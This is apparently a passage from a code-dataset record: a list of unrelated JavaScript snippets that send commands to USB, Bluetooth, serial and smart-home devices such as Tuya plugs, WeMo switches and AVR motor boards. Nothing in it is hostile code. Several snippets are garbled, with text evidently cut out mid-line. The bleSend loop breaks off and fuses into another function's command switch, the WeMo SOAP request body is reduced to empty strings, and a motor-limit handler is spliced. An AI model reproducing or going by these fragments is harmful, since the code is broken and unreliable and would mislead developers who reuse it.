= deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","function sendCompleted(usbEvent) {\n\tif (chrome.runtime.lastError) {\n\t\tconsole.error(\"sendCompleted Error:\", chrome.runtime.lastError.message);\n\t}\n\n\tif (usbEvent) {\n\t\tif (usbEvent.data) {\n\t\t\tvar buf = new Uint8Array(usbEvent.data);\n\t\t\tconsole.log(\"sendCompleted Buffer:\", usbEvent.data.byteLength, buf);\n\t\t}\n\t\tif (usbEvent.resultCode !== 0) {\n\t\t\tchangeState(state.connected);\n\t\t\terrorln(\"Error writing to device: \" + chrome.runtime.lastError.message);\n\t\t}\n\t}\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; idebug: '\" + msg + \"'\");\n\t\t\tbreak;\n\t\t}\n\t\tcase CMD_PING:\n\t\t\tmessageln(\"ping\");\n\t\t\tbreak;\n\t\tcase CMD_VERSION:\n\t\t{\n\t\t\tvar version = \"\" + dv.getUint8(2) + \".\" + dv.getUint8(3);\n\t\t\tmessageln(\"command: Version \" + version);\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\terrorln(\"unknown command\");\n\t\t\tbreak;\n\t}\n\n\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n}","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","function onData(d){\n var frame,\n generatedData,\n response;\n\n frame = TBus.parse(d);\n\n if(!frame.valid){\n console.log(\"Invalid frame received.\");\n return;\n }\n\n if(!Devices[frame.receiver[0]]){\n console.log(\"Device is not supported.\");\n }\n\n generatedData = Devices[frame.receiver[0]].randomData();\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\n\n setTimeout(function(){\n /*\n var one,\n two;\n\n one = new Buffer(response.slice(0,5));\n two = new Buffer(response.slice(5,response.length));\n serialPort.write(one);\n setTimeout(function(){\n serialPort.write(two);\n },110);\n */\n serialPort.write(response);\n },0);\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","function ble_transmit_cmd(cmd) {\n if(cmd == 0){\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\n uiProgressBar(g_rawcode_length/2, i+1);\n\n var tx_data = [];\n\n /*\n for(var j = 0; j < 2; j = j + 1){\n tx_data[j] = 0xff & (i >> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n }\n}","function sendSerialData() {\n\t\tif (isLoaded()) {\n\t\t\t// Beggining and ending patterns that signify port has responded\n\t\t\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\n\t\t\tqz.setSerialBegin(chr(2));\n\t\t\tqz.setSerialEnd(chr(13));\n\t\t\t// Baud rate, data bits, stop bits, parity, flow control\n\t\t\t// \"9600\", \"7\", \"1\", \"even\", \"none\" = Default for Mettler Toledo Scale\n\t\t\tqz.setSerialProperties(\"9600\", \"7\", \"1\", \"even\", \"none\");\n\t\t\t// Send raw commands to the specified port.\n\t\t\t// W = weight on Mettler Toledo Scale\n\t\t\tqz.send(document.getElementById(\"port_name\").value, \"\\nW\\n\");\n\t\t\t\n\t\t\t// Automatically called when \"qz.send()\" is finished waiting for \n\t\t\t// a valid message starting with the value supplied for setSerialBegin()\n\t\t\t// and ending with with the value supplied for setSerialEnd()\n\t\t\twindow['qzSerialReturned'] = function(portName, data) {\n\t\t\t\tif (qz.getException()) {\n\t\t\t\t\talert(\"Could not send data:\\n\\t\" + qz.getException().getLocalizedMessage());\n\t\t\t\t\tqz.clearException(); \n\t\t\t\t} else {\n\t\t\t\t\tif (data == null || data == \"\") { // Test for blank data\n\t\t\t\t\t\talert(\"No data was returned.\")\n\t\t\t\t\t} else if (data.indexOf(\"?\") !=-1) { // Test for bad data\n\t\t\t\t\t\talert(\"Device not ready. Please wait.\")\n\t\t\t\t\t} else { // Display good data\n\t\t\t\t\t\talert(\"Port [\" + portName + \"] returned data:\\n\\t\" + data);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","function sendCommand(device_id, command) {\n\tnew Ajax.Request(\"/controls/sendCommand\", { \n\t\tmethod: \"get\", \n\t\tparameters: { \n\t\t\t\"device_id\": device_id,\n\t\t\t\"command\": command,\n\t\t}\n\t});\t\n}","function send (token, deviceId, payload, cb) {\n\trequest.post({\n\t\turl,\n\t\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\n\t\theaders: {\n\t\t\t'Content-Type': 'application/octet-stream',\n\t\t\t'Authorization': 'Token ' + token,\n\t\t},\n\t}, (err, httpResponse, body) => {\n\t\tif (err) return cb(err)\n\n\t\tif (httpResponse.statusCode !== 200) {\n\t\t\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\n\t\t}\n\n\t\tcb()\n\t})\n}","function setupUSBEventHandlers(result) {\n\tconsole.log('App was granted the \"usbDevices\" permission.');\n\tchrome.usb.findDevices(device_info, function(devices) {\n\t\tconsole.log('Found ' + devices.length + ' devices.');\n\t\tif (!devices || !devices.length) {\n\t\t\treturn;\n\t\t}\n\t\tmp_device = devices[0];\n\t\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\n\n\t\tchangeState(state.ready);\n\t});\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","update() {\n\t\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\n\t\t\tif(status.length != 128) {\n\t\t\t\treturn this.error(`Status size error. Received: ${status.length}`);\n\t\t\t}\n\t\t\tthis.parseStatus(status);\n\t\t});\n\t}","function sendToSerial(data){\n var objFromBuffer = JSON.parse(data);\n console.log(\"sending to serial: \", objFromBuffer.data);\n if(objFromBuffer.data !== undefined){\n myPort.write(objFromBuffer.data); \n }\n}","function respond(){\n\t\t\t\t\t// flush HTTP response\n\t\t\t\t\tvar bin = responsePacket.serialize();\n\t\t\t\t\t//sys.puts( utils.hex(bin) );\n\t\t\t\t\t//sys.puts( sys.inspect(responsePacket) );\n\t\t\t\t\tres.writeHead( 200, {\n\t\t\t\t\t\t'Content-Type': 'application/x-amf',\n\t\t\t\t\t\t'Content-Length': bin.length \n\t\t\t\t\t} );\n\t\t\t\t\tres.write( bin, \"binary\" );\n\t\t\t\t\tres.end();\n\t\t\t\t}","function WebUSBSerialCommunicator (params) {\n var self = this;\n\n self.debugMode = false;\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.debug === \"boolean\") {\n self.debugMode = params.debug;\n }\n\n if(typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.device === \"object\") {\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\n this.serial = new WebFTDIUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\n this.serial = new WebNativeUSBSerialPort({\n device: params.device,\n debug: self.debugMode\n });\n } else {\n throw new Error(\"Device's vendor ID and product ID do not match a TappyUSB\");\n }\n } else if (typeof params !== \"undefined\" &&\n params !== null &&\n typeof params.serial === \"object\"){\n // this is just for testing and should not be used\n this.serial = params.serial;\n } else {\n throw new Error(\"Must specify a TappyUSB device\");\n }\n\n this.isConnecting = false;\n this.hasAttached = false;\n this.disconnectImmediately = false;\n this.disconnectCb = function() {};\n\n this.dataReceivedCallback = function(bytes) {\n\n };\n this.errorCallback = function(data) {\n\n };\n this.readCallback = function(buff) {\n self.dataReceivedCallback(new Uint8Array(buff));\n };\n }","writeLoginSetting(data) {\n var arrData = [17,32,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginSetting_1',data_send);\n for (var i =0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function sendToSerial(data) {\n console.log(\"sending to serial: \" + data);\n port.write(data);\n}","function HandleResponse(avrNum, responseID, msg)\n{\n switch (responseID) {\n case 'a': // a = get serial number\n var avr;\n avrs[avrNum].avrSN = msg; // save s/n in device object\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\n var n = msg.substr(1,1); // motor number\n var a = msg.split(' ');\n for (var i=0; i 0) continue;\n } else {\n // allow negative motor speed when at top limit\n if (motorSpd[mot] < 0) continue;\n }\n avrs[0].SendCmd(\"c.m\" + mot + \" halt\\n\");\n var which = isBottom ? \"lower\" : \"upper\";\n Log(\"M\" + mot + \" halted! (hit \" + which + \" limit switch)\");\n }\n }\n }\n } break;\n\n case 'z': // z = disable watchdog timer\n // forget about the unknown AVR\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\n avrs[avrNum] = null;\n break;\n\n default:\n Log('AVR'+avrNum, 'Unknown response:', msg);\n break;\n }\n return avrNum;\n}","async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\n if (blxCmdBusy === true) {\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\n return\n }\n\n if (full_connected_flag !== true) {\n if (NUS_device === undefined) {\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\n return\n } else {\n await blxConnectNus(0, 1) // Reconnect with SCAN\n if (blxErrMsg) return\n }\n }\n\n blxCmdBusy = true\n blxCmdLast = cmd\n blxCmdBusy_t0 = Date.now()\n await bleSendData(cmd)\n await wait_blx(timeout_ms)\n blxCmdBusy = false\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","_sendData() {\n\n }","function sendData() {\n // convert the value to an ASCII string before sending it:\n serialPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n }","function raspiWrite(component, value){\t\n\tconst data = {\n\t\tValue: value\n\t};\n\n\tconst option 